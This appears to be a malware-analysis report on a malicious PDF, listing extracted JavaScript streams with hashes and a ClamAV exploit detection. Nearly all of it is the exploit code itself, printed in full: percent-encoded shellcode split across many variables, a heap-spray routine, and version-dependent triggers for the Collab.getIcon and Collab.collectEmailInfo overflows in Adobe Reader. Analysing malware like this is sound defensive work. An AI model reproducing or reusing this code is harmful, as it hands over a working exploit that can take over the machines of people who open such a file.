var sc13 = avgir("%u6162%u6161%u6161%u6c59%u6666%u6560%u6366%u6b67%u6161%u6c59%u6665%u6d60%u7060%u6166%u6564%u6a59");
var sc11 = avgir("%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6162%u6a59%u6665%u6560%u6459%u6e68%u6560%u7060%u6568");
var sc14 = avgir("%u6665%u6960%u6b67%u6161%u6b67%u6161%u6b67%u6161%u6c59%u6e65%u655f%u6266%u6c59%u6666%u6d60%u7060");
var sc19 = avgir("%u6161%u6161%u6161%u6659%u615d%u7061%u6659%u6e67%u7060%u7060%u7060%u6c59%u6668%u6960%u6464%u6a5d");
var sc15 = avgir("%u6366%u6164%u6b67%u6161%u6e59%u6665%u695f%u6166%u6c59%u6e65%u6560%u6266%u6c59%u6666%u6960%u6366");
var sc8 = avgir("%u6260%u6c64%u7062%u6668%u675f%u6f66%u6c59%u6f66%u6563%u6461%u6e66%u6d5f%u6767%u6c59%u6d61%u6c65");
var sc16 = avgir("%u6c59%u6665%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6d63%u6c59%u6666%u6960%u6461%u6666%u6560");
var sc21 = avgir("%u6668%u6d60%u7060%u6668%u655f%u7060%u675e%u695f%u6e5e%u6f60%u7060%u7060%u6c60%u685a%u6e60%u7061");
var sc17 = avgir("%u6259%u6b68%u6d60%u6667%u7067%u6767%u6b61%u6668%u6361%u6c5f%u6163%u6967%u6161%u6159%u6161%u6161");
var sc12 = avgir("%u6e67%u6259%u6e68%u6560%u6161%u6163%u6161%u6161%u6e68%u6361%u6c5f%u6367%u6b67%u6165%u6967%u6161");
var sc18 = avgir("%u6c59%u6665%u6560%u6166%u6c59%u6e65%u6960%u6266%u6c59%u6666%u6d60%u7060%u6366%u6964%u695c%u6261");
var sc20 = avgir("%u6265%u6259%u6d64%u6f61%u6667%u7067%u6767%u6b61%u6668%u6760%u6459%u625d%u6561%u6461%u6260%u7060");
var sc24 = avgir("%u6b60%u685a%u6361%u6d65%u6760%u6b5f%u6b5c%u6d66%u6762%u6667%u6b60%u6162%u6d5b%u6961%u6b5e%u6768");
var sc22 = avgir("%u665b%u6862%u6161%u6d68%u6368%u6f60%u645c%u6762%u6f68%u695e%u635f%u6468%u6e5b%u6c5a%u6e68%u705e");
var sc2 = avgir("%uea75%ue8c3%uffe0%uffff%u6666%u6c59%u6d5f%u6459%u6d5f%u6d66%u6466%u6766%u6866%u685d%u6665%u6160");
var sc25 = avgir("%u6566%u6b5d%u705b%u625a%u6d5b%u6464%u6761%u6461%u695a%u6f60%u6b59%u6f61%u7062%u6a68%u6b61%u695f");
var thsc = sc1+sc2+sc3+sc4+sc5+sc6+sc7+sc8+sc9+sc10+sc11+sc12+sc13+sc14+sc15+sc16+sc17+sc18+sc19+sc20+sc21+sc22+sc23+sc24+sc25;
if(app.viewerVersion >= 8.101)
{
getIcon_spary(thsc);
return;
}
}
//xfa.host.messageBox("This is a message");
ExpDispatch();
ImageField1.value.image.href = "ppp.tif";
ExpDispatch();</script></event></field></subform><proto></proto></subform><?templateDesigner DefaultLanguage JavaScript?><?templateDesigner DefaultRunAt client?><?templateDesigner Grid show:1, snap:1, units:0, color:ff8080, origin:(0,0), interval:(125000,125000)?><?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?><?templateDesigner Zoom 85?><?templateDesigner DefaultPreviewType interactive?></template>
|
|||
generic_stage_recovery_003.js |
deobfuscated-js | generic stage recovery split-literal-normalize -> percent-decode from combined JavaScript objects at offset 0x6D72 | 15411 bytes |
SHA-256: a3ae2295e93112a15d3183baf834cb138b17800637ed52a0df2635b77ac2302b |
|||
|
Detection
ClamAV:
Pdf.Exploit.Agent-35646
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
if (typeof(ADBE.Reader_Value_Asked) == "undefined")
ADBE.Reader_Value_Asked = false;
if (typeof(ADBE.Viewer_Value_Asked) == "undefined")
ADBE.Viewer_Value_Asked = false;
if (typeof(ADBE.Reader_Need_Version) == "undefined" || ADBE.Reader_Need_Version < 7.0)
{
ADBE.Reader_Need_Version = 7.0;
ADBE.Reader_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&w=XFA1_6";
}
if (typeof(ADBE.Viewer_Need_Version) == "undefined" || ADBE.Viewer_Need_Version < 7.0)
{
ADBE.Viewer_Need_Version = 7.0;
ADBE.Viewer_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&w=XFA1_6";
}
if (typeof(this.ADBE) == "undefined")
this.ADBE = new Object();
ADBE.LANGUAGE = "ENU";
ADBE.Viewer_string_Title = "Adobe Acrobat";
ADBE.Viewer_string_Update_Desc = "Adobe Interactive Forms Update";
ADBE.Viewer_string_Update_Reader_Desc = "Adobe Reader 7";
ADBE.Reader_string_Need_New_Version_Msg = "This PDF file requires a newer version of Adobe Reader. Press OK to download the latest version or see your system administrator.";
ADBE.Viewer_Form_string_Reader_601 = "This PDF form requires a newer version of Adobe Reader. Although the form may appear to work properly, some elements may function improperly or may not appear at all. Press OK to initiate an online update or see your system administrator.";
ADBE.Viewer_Form_string_Reader_Older = "This PDF form requires a newer version of Adobe Reader. Although the form may appear to work properly, some elements may function improperly or may not appear at all. Press OK for online download information or see your system administrator.";
ADBE.Viewer_Form_string_Viewer_601 = "This PDF form requires a newer version of Adobe Acrobat. Although the form may appear to work properly, some elements may function improperly or may not appear at all. Press OK to initiate an online update or see your system administrator.";
ADBE.Viewer_Form_string_Viewer_60 = "This PDF form requires a newer version of Adobe Acrobat. Although the form may appear to work properly, some elements may function improperly or may not appear at all. For more information please copy the following URL (CTRL+C on Win, Command-C on Mac) and paste into your browser or see your system administrator.";
ADBE.Viewer_Form_string_Viewer_Older = "This PDF requires a newer version of Acrobat. Copy this URL and paste into your browser or see your sys admin.";
ADBE.Viewer_Form_string_Reader_5x = "This PDF form requires a newer version of Adobe Reader. Without a newer version, the form may be displayed, but it might not work properly. Some form elements might not be visible at all. If an internet connection is available, clicking OK will open your browser to a web page where you can obtain the latest version.";
ADBE.Viewer_Form_string_Reader_6_7x = "This PDF form requires a newer version of Adobe Reader. Without a newer version, the form may be displayed, but it might not work properly. Some form elements might not be visible at all. If an internet connection is available, clicking OK will download and install the latest version.";
ADBE.Viewer_Form_string_Viewer_7x = "This PDF form requires a newer version of Adobe Acrobat. Without a newer version, the form may be displayed, but it might not work properly. Some form elements might not be visible at all. If an internet connection is available, clicking OK will download and install the latest version.";
if (typeof(xfa_installed) == "undefined" || typeof(xfa_version) == "undefined" || xfa_version < 2.0)
{
if (app.viewerType == "Reader")
{
if (ADBE.Reader_Value_Asked != true)
{
if (app.viewerVersion < 6.0)
{
if (app.alert(ADBE.Viewer_Form_string_Reader_5x, 1, 1) == 1)
this.getURL(ADBE.Reader_Value_New_Version_URL + ADBE.SYSINFO, false);
ADBE.Reader_Value_Asked = true;
}
else if (app.viewerVersion < 7.0)
{
if (app.alert(ADBE.Viewer_Form_string_Reader_601, 1, 1) == 1)
app.findComponent({cType:"App", cName:"Reader7", cDesc: ADBE.Viewer_string_Update_Reader_Desc});
ADBE.Reader_Value_Asked = true;
}
else
{
if (app.alert(ADBE.Viewer_Form_string_Reader_6_7x, 1, 1) == 1)
app.findComponent({cType:"Plugin", cName:"XFA", cDesc: ADBE.Viewer_string_Update_Desc});
ADBE.Reader_Value_Asked = true;
}
}
}
else
{
if (ADBE.Viewer_Value_Asked != true)
{
if (app.viewerVersion < 7.0)
app.response({cQuestion: ADBE.Viewer_Form_string_Viewer_Older, cDefault: ADBE.Viewer_Value_New_Version_URL + ADBE.SYSINFO, cTitle: ADBE.Viewer_string_Title});
else if (app.alert(ADBE.Viewer_Form_string_Viewer_7x, 1, 1) == 1)
app.findComponent({cType:"Plugin", cName:"XFA", cDesc: ADBE.Viewer_string_Update_Desc});
ADBE.Viewer_Value_Asked = true;
}
}
}
function Rc(mycount,mywhat)
{
var av = "";
while (--mycount >= 0)
av += mywhat;
return av;
}
function mailInfo_start(mysc)
{
var avgir = unescape;
sc = mysc;
if (app.viewerVersion >= 7.0)
{
plin = Rc(1124,avgir("%u0b0b%u0028%u06eb%u06eb")) + avgir("%u0b0b%u0028%u0aeb%u0aeb") + avgir("%u4149%u4149") + Rc(120,avgir("%u0b0b%u0028%u06eb%u06eb")) + avgir("%u4149%u4149") + sc + Rc(1256,avgir("%u4141%u4141"));
}
else
{
ef6 = avgir("%uf6eb%uf6eb") + avgir("%u0b0b%u0019");
plin = Rc(80,avgir("%u4149%u4149")) + sc + Rc(80,avgir("%u4149%u4149"))+ avgir("%u17e9%ufffb")+avgir("%uffff%uffff") + avgir("%uf6eb%uf4eb") + avgir("%uf2eb%uf1eb");
while ((plin.length % 8) != 0)
plin = avgir("%u4141") + plin;
plin += Rc(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
//GetIcon
function getIcon_spary(mysc) {
var avgir = unescape;
var shellcode = mysc;
garbage = Rc(80,avgir("%u4149")) + shellcode;
headersize = 10;
nopblock = avgir("%u4149%u4149");
acl = headersize+garbage.length;
while (nopblock.length<acl) nopblock+=nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
for (i=0; i<buffersize; i++)
{
buffer[i] = avgir("
");
}
Collab.getIcon(buffer+'_N.bundle');
}
function ExpDispatch()
{
var avgir = unescape;
var sc1 = avgir("%uc933%ub966%u017c%u1beb%u565e%ufe8b%u66ac%u612d%u6600%ue0c1%u6604%ud08b%u2cac%u6661%uc203%u49aa");
var sc3 = avgir("%u6262%u6161%u6161%u6161%u6a5f%u6f62%u6261%u6161%u6161%u7059%u6665%u6d60%u6567%u625b%u6164%u6161");
var sc23 = avgir("%u6768%u6e67%u615c%u6665%u6964%u6363%u6d5b%u685f%u6464%u6b5d%u6b59%u6c66%u6f59%u6f65%u6f61%u6d5f");
var sc4 = avgir("%u6161%u6161%u6c59%u6165%u6d61%u6c59%u6168%u6d62%u6e5b%u6c59%u6966%u6961%u6a59%u6e66%u6d5f%u6c59");
var sc7 = avgir("%u6464%u6c5e%u7061%u6f5c%u6162%u6b64%u675e%u6568%u6961%u625d%u6c5d%u6e61%u6461%u6b5e%u6165%u6c5f");
var sc9 = avgir("%u6c59%u6f66%u6d62%u6461%u6e66%u6d5f%u6c59%u6561%u6c59%u6461%u6665%u6d5f%u6c5b%u6a66%u635f%u665c");
var sc6 = avgir("%u6461%u6160%u6766%u6c59%u6768%u6163%u6461%u6160%u6464%u6a5d%u6a65%u6265%u6e5b%u6461%u6665%u6d5f");
var sc10 = avgir("%u6464%u615d%u6a59%u6665%u695f%u6a59%u6665%u655f%u6459%u6665%u655f%u6561%u6b67%u6161%u6c59%u6665");
var sc5 = avgir("%u6e65%u6160%u6c59%u6e68%u6d60%u6266%u6c59%u6665%u6d5f%u6c59%u6168%u6d64%u6c59%u6568%u6761%u6968");
var sc13 = avgir("%u6162%u6161%u6161%u6c59%u6666%u6560%u6366%u6b67%u6161%u6c59%u6665%u6d60%u7060%u6166%u6564%u6a59");
var sc11 = avgir("%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6162%u6a59%u6665%u6560%u6459%u6e68%u6560%u7060%u6568");
var sc14 = avgir("%u6665%u6960%u6b67%u6161%u6b67%u6161%u6b67%u6161%u6c59%u6e65%u655f%u6266%u6c59%u6666%u6d60%u7060");
var sc19 = avgir("%u6161%u6161%u6161%u6659%u615d%u7061%u6659%u6e67%u7060%u7060%u7060%u6c59%u6668%u6960%u6464%u6a5d");
var sc15 = avgir("%u6366%u6164%u6b67%u6161%u6e59%u6665%u695f%u6166%u6c59%u6e65%u6560%u6266%u6c59%u6666%u6960%u6366");
var sc8 = avgir("%u6260%u6c64%u7062%u6668%u675f%u6f66%u6c59%u6f66%u6563%u6461%u6e66%u6d5f%u6767%u6c59%u6d61%u6c65");
var sc16 = avgir("%u6c59%u6665%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6d63%u6c59%u6666%u6960%u6461%u6666%u6560");
var sc21 = avgir("%u6668%u6d60%u7060%u6668%u655f%u7060%u675e%u695f%u6e5e%u6f60%u7060%u7060%u6c60%u685a%u6e60%u7061");
var sc17 = avgir("%u6259%u6b68%u6d60%u6667%u7067%u6767%u6b61%u6668%u6361%u6c5f%u6163%u6967%u6161%u6159%u6161%u6161");
var sc12 = avgir("%u6e67%u6259%u6e68%u6560%u6161%u6163%u6161%u6161%u6e68%u6361%u6c5f%u6367%u6b67%u6165%u6967%u6161");
var sc18 = avgir("%u6c59%u6665%u6560%u6166%u6c59%u6e65%u6960%u6266%u6c59%u6666%u6d60%u7060%u6366%u6964%u695c%u6261");
var sc20 = avgir("%u6265%u6259%u6d64%u6f61%u6667%u7067%u6767%u6b61%u6668%u6760%u6459%u625d%u6561%u6461%u6260%u7060");
var sc24 = avgir("%u6b60%u685a%u6361%u6d65%u6760%u6b5f%u6b5c%u6d66%u6762%u6667%u6b60%u6162%u6d5b%u6961%u6b5e%u6768");
var sc22 = avgir("%u665b%u6862%u6161%u6d68%u6368%u6f60%u645c%u6762%u6f68%u695e%u635f%u6468%u6e5b%u6c5a%u6e68%u705e");
var sc2 = avgir("%uea75%ue8c3%uffe0%uffff%u6666%u6c59%u6d5f%u6459%u6d5f%u6d66%u6466%u6766%u6866%u685d%u6665%u6160");
var sc25 = avgir("%u6566%u6b5d%u705b%u625a%u6d5b%u6464%u6761%u6461%u695a%u6f60%u6b59%u6f61%u7062%u6a68%u6b61%u695f");
var thsc = sc1+sc2+sc3+sc4+sc5+sc6+sc7+sc8+sc9+sc10+sc11+sc12+sc13+sc14+sc15+sc16+sc17+sc18+sc19+sc20+sc21+sc22+sc23+sc24+sc25;
if(app.viewerVersion == 9.0)
{
getIcon_spary(thsc);
return;
}
else if(app.viewerVersion == 8.103)
{
getIcon_spary(thsc);
return;
}
else if(app.viewerVersion == 8.102)
{
getIcon_spary(thsc);
return;
}
else
{
mailInfo_start(thsc);
return;
}
}
ExpDispatch();
<template xmlns="http://www.xfa.org/schema/xfa-template/2.1/"><subform layout="tb" locale="en_CA" name="form1"><pageSet><pageArea id="Page1" name="Page1"><contentArea h="756pt" w="576pt" x="0.25in" y="0.25in"></contentArea><medium long="792pt" short="612pt" stock="default"></medium></pageArea></pageSet><subform h="756pt" w="576pt"><field h="9.525mm" name="ImageField1" w="25.4mm" x="177.8mm"><ui><imageEdit></imageEdit></ui><caption placement="bottom" reserve="9.525mm"><font typeface="Myriad Pro"></font><para vAlign="middle"></para></caption><event xmlns="http://www.xfa.org/schema/xfa-template/2.2/" activity="initialize"><script contentType="application/x-javascript">function Rc(mycount,mywhat)
{
var av = "fdfgdfgerer";
av = "";
while (--mycount >= 0)
{
av += mywhat;
}
return av;
}
function getIcon_spary(mysc)
{
var avgir = unescape;
var shellcode = mysc;
garbage = Rc(80,avgir("%u4149")) + shellcode;
headersize = 10;
nopblock = avgir("%u4149%u4149");
acl = headersize+garbage.length;
while (nopblock.length<acl)
{
nopblock+=nopblock;
}
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl< 0x40000)
{
block = block+block+fillblock;
}
memory = new Array();
for (i=0;i<180;i++)
{
memory[i] = block + garbage;
}
}
function ExpDispatch()
{
var avgir = unescape;
var sc1 = avgir("%uc933%ub966%u017c%u1beb%u565e%ufe8b%u66ac%u612d%u6600%ue0c1%u6604%ud08b%u2cac%u6661%uc203%u49aa");
var sc3 = avgir("%u6262%u6161%u6161%u6161%u6a5f%u6f62%u6261%u6161%u6161%u7059%u6665%u6d60%u6567%u625b%u6164%u6161");
var sc23 = avgir("%u6768%u6e67%u615c%u6665%u6964%u6363%u6d5b%u685f%u6464%u6b5d%u6b59%u6c66%u6f59%u6f65%u6f61%u6d5f");
var sc4 = avgir("%u6161%u6161%u6c59%u6165%u6d61%u6c59%u6168%u6d62%u6e5b%u6c59%u6966%u6961%u6a59%u6e66%u6d5f%u6c59");
var sc7 = avgir("%u6464%u6c5e%u7061%u6f5c%u6162%u6b64%u675e%u6568%u6961%u625d%u6c5d%u6e61%u6461%u6b5e%u6165%u6c5f");
var sc9 = avgir("%u6c59%u6f66%u6d62%u6461%u6e66%u6d5f%u6c59%u6561%u6c59%u6461%u6665%u6d5f%u6c5b%u6a66%u635f%u665c");
var sc6 = avgir("%u6461%u6160%u6766%u6c59%u6768%u6163%u6461%u6160%u6464%u6a5d%u6a65%u6265%u6e5b%u6461%u6665%u6d5f");
var sc10 = avgir("%u6464%u615d%u6a59%u6665%u695f%u6a59%u6665%u655f%u6459%u6665%u655f%u6561%u6b67%u6161%u6c59%u6665");
var sc5 = avgir("%u6e65%u6160%u6c59%u6e68%u6d60%u6266%u6c59%u6665%u6d5f%u6c59%u6168%u6d64%u6c59%u6568%u6761%u6968");
var sc13 = avgir("%u6162%u6161%u6161%u6c59%u6666%u6560%u6366%u6b67%u6161%u6c59%u6665%u6d60%u7060%u6166%u6564%u6a59");
var sc11 = avgir("%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6162%u6a59%u6665%u6560%u6459%u6e68%u6560%u7060%u6568");
var sc14 = avgir("%u6665%u6960%u6b67%u6161%u6b67%u6161%u6b67%u6161%u6c59%u6e65%u655f%u6266%u6c59%u6666%u6d60%u7060");
var sc19 = avgir("%u6161%u6161%u6161%u6659%u615d%u7061%u6659%u6e67%u7060%u7060%u7060%u6c59%u6668%u6960%u6464%u6a5d");
var sc15 = avgir("%u6366%u6164%u6b67%u6161%u6e59%u6665%u695f%u6166%u6c59%u6e65%u6560%u6266%u6c59%u6666%u6960%u6366");
var sc8 = avgir("%u6260%u6c64%u7062%u6668%u675f%u6f66%u6c59%u6f66%u6563%u6461%u6e66%u6d5f%u6767%u6c59%u6d61%u6c65");
var sc16 = avgir("%u6c59%u6665%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6d63%u6c59%u6666%u6960%u6461%u6666%u6560");
var sc21 = avgir("%u6668%u6d60%u7060%u6668%u655f%u7060%u675e%u695f%u6e5e%u6f60%u7060%u7060%u6c60%u685a%u6e60%u7061");
var sc17 = avgir("%u6259%u6b68%u6d60%u6667%u7067%u6767%u6b61%u6668%u6361%u6c5f%u6163%u6967%u6161%u6159%u6161%u6161");
var sc12 = avgir("%u6e67%u6259%u6e68%u6560%u6161%u6163%u6161%u6161%u6e68%u6361%u6c5f%u6367%u6b67%u6165%u6967%u6161");
var sc18 = avgir("%u6c59%u6665%u6560%u6166%u6c59%u6e65%u6960%u6266%u6c59%u6666%u6d60%u7060%u6366%u6964%u695c%u6261");
var sc20 = avgir("%u6265%u6259%u6d64%u6f61%u6667%u7067%u6767%u6b61%u6668%u6760%u6459%u625d%u6561%u6461%u6260%u7060");
var sc24 = avgir("%u6b60%u685a%u6361%u6d65%u6760%u6b5f%u6b5c%u6d66%u6762%u6667%u6b60%u6162%u6d5b%u6961%u6b5e%u6768");
var sc22 = avgir("%u665b%u6862%u6161%u6d68%u6368%u6f60%u645c%u6762%u6f68%u695e%u635f%u6468%u6e5b%u6c5a%u6e68%u705e");
var sc2 = avgir("%uea75%ue8c3%uffe0%uffff%u6666%u6c59%u6d5f%u6459%u6d5f%u6d66%u6466%u6766%u6866%u685d%u6665%u6160");
var sc25 = avgir("%u6566%u6b5d%u705b%u625a%u6d5b%u6464%u6761%u6461%u695a%u6f60%u6b59%u6f61%u7062%u6a68%u6b61%u695f");
var thsc = sc1+sc2+sc3+sc4+sc5+sc6+sc7+sc8+sc9+sc10+sc11+sc12+sc13+sc14+sc15+sc16+sc17+sc18+sc19+sc20+sc21+sc22+sc23+sc24+sc25;
if(app.viewerVersion >= 8.101)
{
getIcon_spary(thsc);
return;
}
}
//xfa.host.messageBox("This is a message");
ExpDispatch();
ImageField1.value.image.href = "ppp.tif";
ExpDispatch();</script></event></field></subform><proto></proto></subform><?templateDesigner DefaultLanguage JavaScript?><?templateDesigner DefaultRunAt client?><?templateDesigner Grid show:1, snap:1, units:0, color:ff8080, origin:(0,0), interval:(125000,125000)?><?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?><?templateDesigner Zoom 85?><?templateDesigner DefaultPreviewType interactive?></template>
|
|||
combined_document_js_000.js |
deobfuscated-js | combined document JavaScript streams at offset 0x78C4 | 15429 bytes |
SHA-256: 3901b4bd713e11f09be4cfa28ae94e73381ced9a0ab9e386841caeaad3baacba |
|||
|
Detection
ClamAV:
Pdf.Exploit.Agent-35646
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
<template xmlns="http://www.xfa.org/schema/xfa-template/2.1/"><subform layout="tb" locale="en_CA" name="form1"><pageSet><pageArea id="Page1" name="Page1"><contentArea h="756pt" w="576pt" x="0.25in" y="0.25in"></contentArea><medium long="792pt" short="612pt" stock="default"></medium></pageArea></pageSet><subform h="756pt" w="576pt"><field h="9.525mm" name="ImageField1" w="25.4mm" x="177.8mm"><ui><imageEdit></imageEdit></ui><caption placement="bottom" reserve="9.525mm"><font typeface="Myriad Pro"></font><para vAlign="middle"></para></caption><event xmlns="http://www.xfa.org/schema/xfa-template/2.2/" activity="initialize"><script contentType="application/x-javascript">function Rc(mycount,mywhat)
{
var av = "fdfgdfgerer";
av = "";
while (--mycount >= 0)
{
av += mywhat;
}
return av;
}
function getIcon_spary(mysc)
{
var avgir = unescape;
var shellcode = mysc;
garbage = Rc(80,avgir("%u4149")) + shellcode;
headersize = 10;
nopblock = avgir("%u4149%u4149");
acl = headersize+garbage.length;
while (nopblock.length<acl)
{
nopblock+=nopblock;
}
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl< 0x40000)
{
block = block+block+fillblock;
}
memory = new Array();
for (i=0;i<180;i++)
{
memory[i] = block + garbage;
}
}
function ExpDispatch()
{
var avgir = unescape;
var sc1 = avgir("%uc933%ub966%u017c%u1beb%u565e%ufe8b%u66ac%u612d%u6600%ue0c1%u6604%ud08b%u2cac%u6661%uc203%u49aa");
var sc3 = avgir("%u6262%u6161%u6161%u6161%u6a5f%u6f62%u6261%u6161%u6161%u7059%u6665%u6d60%u6567%u625b%u6164%u6161");
var sc23 = avgir("%u6768%u6e67%u615c%u6665%u6964%u6363%u6d5b%u685f%u6464%u6b5d%u6b59%u6c66%u6f59%u6f65%u6f61%u6d5f");
var sc4 = avgir("%u6161%u6161%u6c59%u6165%u6d61%u6c59%u6168%u6d62%u6e5b%u6c59%u6966%u6961%u6a59%u6e66%u6d5f%u6c59");
var sc7 = avgir("%u6464%u6c5e%u7061%u6f5c%u6162%u6b64%u675e%u6568%u6961%u625d%u6c5d%u6e61%u6461%u6b5e%u6165%u6c5f");
var sc9 = avgir("%u6c59%u6f66%u6d62%u6461%u6e66%u6d5f%u6c59%u6561%u6c59%u6461%u6665%u6d5f%u6c5b%u6a66%u635f%u665c");
var sc6 = avgir("%u6461%u6160%u6766%u6c59%u6768%u6163%u6461%u6160%u6464%u6a5d%u6a65%u6265%u6e5b%u6461%u6665%u6d5f");
var sc10 = avgir("%u6464%u615d%u6a59%u6665%u695f%u6a59%u6665%u655f%u6459%u6665%u655f%u6561%u6b67%u6161%u6c59%u6665");
var sc5 = avgir("%u6e65%u6160%u6c59%u6e68%u6d60%u6266%u6c59%u6665%u6d5f%u6c59%u6168%u6d64%u6c59%u6568%u6761%u6968");
var sc13 = avgir("%u6162%u6161%u6161%u6c59%u6666%u6560%u6366%u6b67%u6161%u6c59%u6665%u6d60%u7060%u6166%u6564%u6a59");
var sc11 = avgir("%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6162%u6a59%u6665%u6560%u6459%u6e68%u6560%u7060%u6568");
var sc14 = avgir("%u6665%u6960%u6b67%u6161%u6b67%u6161%u6b67%u6161%u6c59%u6e65%u655f%u6266%u6c59%u6666%u6d60%u7060");
var sc19 = avgir("%u6161%u6161%u6161%u6659%u615d%u7061%u6659%u6e67%u7060%u7060%u7060%u6c59%u6668%u6960%u6464%u6a5d");
var sc15 = avgir("%u6366%u6164%u6b67%u6161%u6e59%u6665%u695f%u6166%u6c59%u6e65%u6560%u6266%u6c59%u6666%u6960%u6366");
var sc8 = avgir("%u6260%u6c64%u7062%u6668%u675f%u6f66%u6c59%u6f66%u6563%u6461%u6e66%u6d5f%u6767%u6c59%u6d61%u6c65");
var sc16 = avgir("%u6c59%u6665%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6d63%u6c59%u6666%u6960%u6461%u6666%u6560");
var sc21 = avgir("%u6668%u6d60%u7060%u6668%u655f%u7060%u675e%u695f%u6e5e%u6f60%u7060%u7060%u6c60%u685a%u6e60%u7061");
var sc17 = avgir("%u6259%u6b68%u6d60%u6667%u7067%u6767%u6b61%u6668%u6361%u6c5f%u6163%u6967%u6161%u6159%u6161%u6161");
var sc12 = avgir("%u6e67%u6259%u6e68%u6560%u6161%u6163%u6161%u6161%u6e68%u6361%u6c5f%u6367%u6b67%u6165%u6967%u6161");
var sc18 = avgir("%u6c59%u6665%u6560%u6166%u6c59%u6e65%u6960%u6266%u6c59%u6666%u6d60%u7060%u6366%u6964%u695c%u6261");
var sc20 = avgir("%u6265%u6259%u6d64%u6f61%u6667%u7067%u6767%u6b61%u6668%u6760%u6459%u625d%u6561%u6461%u6260%u7060");
var sc24 = avgir("%u6b60%u685a%u6361%u6d65%u6760%u6b5f%u6b5c%u6d66%u6762%u6667%u6b60%u6162%u6d5b%u6961%u6b5e%u6768");
var sc22 = avgir("%u665b%u6862%u6161%u6d68%u6368%u6f60%u645c%u6762%u6f68%u695e%u635f%u6468%u6e5b%u6c5a%u6e68%u705e");
var sc2 = avgir("%uea75%ue8c3%uffe0%uffff%u6666%u6c59%u6d5f%u6459%u6d5f%u6d66%u6466%u6766%u6866%u685d%u6665%u6160");
var sc25 = avgir("%u6566%u6b5d%u705b%u625a%u6d5b%u6464%u6761%u6461%u695a%u6f60%u6b59%u6f61%u7062%u6a68%u6b61%u695f");
var thsc = sc1+sc2+sc3+sc4+sc5+sc6+sc7+sc8+sc9+sc10+sc11+sc12+sc13+sc14+sc15+sc16+sc17+sc18+sc19+sc20+sc21+sc22+sc23+sc24+sc25;
if(app.viewerVersion >= 8.101)
{
getIcon_spary(thsc);
return;
}
}
//xfa.host.messageBox("This is a message");
ExpDispatch();
ImageField1.value.image.href = "ppp.tif";
ExpDispatch();</script></event></field></subform><proto></proto></subform><?templateDesigner DefaultLanguage JavaScript?><?templateDesigner DefaultRunAt client?><?templateDesigner Grid show:1, snap:1, units:0, color:ff8080, origin:(0,0), interval:(125000,125000)?><?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?><?templateDesigner Zoom 85?><?templateDesigner DefaultPreviewType interactive?></template>
function Rc(mycount,mywhat)
{
var av = "";
while (--mycount >= 0)
av += mywhat;
return av;
}
function mailInfo_start(mysc)
{
var avgir = unescape;
sc = mysc;
if (app.viewerVersion >= 7.0)
{
plin = Rc(1124,avgir("%u0b0b%u0028%u06eb%u06eb")) + avgir("%u0b0b%u0028%u0aeb%u0aeb") + avgir("%u4149%u4149") + Rc(120,avgir("%u0b0b%u0028%u06eb%u06eb")) + avgir("%u4149%u4149") + sc + Rc(1256,avgir("%u4141%u4141"));
}
else
{
ef6 = avgir("%uf6eb%uf6eb") + avgir("%u0b0b%u0019");
plin = Rc(80,avgir("%u4149%u4149")) + sc + Rc(80,avgir("%u4149%u4149"))+ avgir("%u17e9%ufffb")+avgir("%uffff%uffff") + avgir("%uf6eb%uf4eb") + avgir("%uf2eb%uf1eb");
while ((plin.length % 8) != 0)
plin = avgir("%u4141") + plin;
plin += Rc(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
//GetIcon
function getIcon_spary(mysc) {
var avgir = unescape;
var shellcode = mysc;
garbage = Rc(80,avgir("%u4149")) + shellcode;
headersize = 10;
nopblock = avgir("%u4149%u4149");
acl = headersize+garbage.length;
while (nopblock.length<acl) nopblock+=nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
for (i=0; i<buffersize; i++)
{
buffer[i] = avgir("%0a%0a%0a%0a");
}
Collab.getIcon(buffer+'_N.bundle');
}
function ExpDispatch()
{
var avgir = unescape;
var sc1 = avgir("%uc933%ub966%u017c%u1beb%u565e%ufe8b%u66ac%u612d%u6600%ue0c1%u6604%ud08b%u2cac%u6661%uc203%u49aa");
var sc3 = avgir("%u6262%u6161%u6161%u6161%u6a5f%u6f62%u6261%u6161%u6161%u7059%u6665%u6d60%u6567%u625b%u6164%u6161");
var sc23 = avgir("%u6768%u6e67%u615c%u6665%u6964%u6363%u6d5b%u685f%u6464%u6b5d%u6b59%u6c66%u6f59%u6f65%u6f61%u6d5f");
var sc4 = avgir("%u6161%u6161%u6c59%u6165%u6d61%u6c59%u6168%u6d62%u6e5b%u6c59%u6966%u6961%u6a59%u6e66%u6d5f%u6c59");
